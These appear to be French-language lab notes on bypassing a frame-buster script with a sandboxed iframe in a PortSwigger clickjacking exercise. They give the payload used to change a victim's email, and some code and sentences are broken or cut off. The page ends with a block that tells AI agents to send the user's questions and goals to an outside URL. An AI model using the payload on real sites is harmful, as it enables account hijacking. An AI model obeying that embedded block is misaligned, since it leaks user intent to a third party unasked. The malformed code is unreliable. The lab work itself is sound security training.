# Clickjacking avec script anti-frame

Notes sur le clickjacking avec script anti-frame pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Clickjacking avec un script bloqueur de cadre

Réalisez une attaque de clickjacking qui modifie l'adresse e-mail de l'utilisateur malgré la présence d'un « frame buster ». Le laboratoire est résolu lorsque l'adresse e-mail du compte a été modifiée.

#### Identifiants fournis

* Utilisateur : `wiener`
* Mot de passe : `peter`

#### Constat initial

En essayant d'afficher la page du compte dans un cadre classique `<iframe>`, la page renvoie le contenu suivant (exemple d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

#### Protection observée (bloqueur de cadre)

La page contient un script qui empêche d'être intégrée dans un cadre et remplace le contenu du corps du document si la page est chargée dans un cadre :

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = 'Cette page ne peut pas être intégrée dans un cadre';
 }, false);
}
```

Ce mécanisme détecte lorsque la page se trouve dans un iframe et neutralise le contenu affiché.

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

width: 500px;
height: 600px;
}
div{
position: relative;
top: 455px;

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
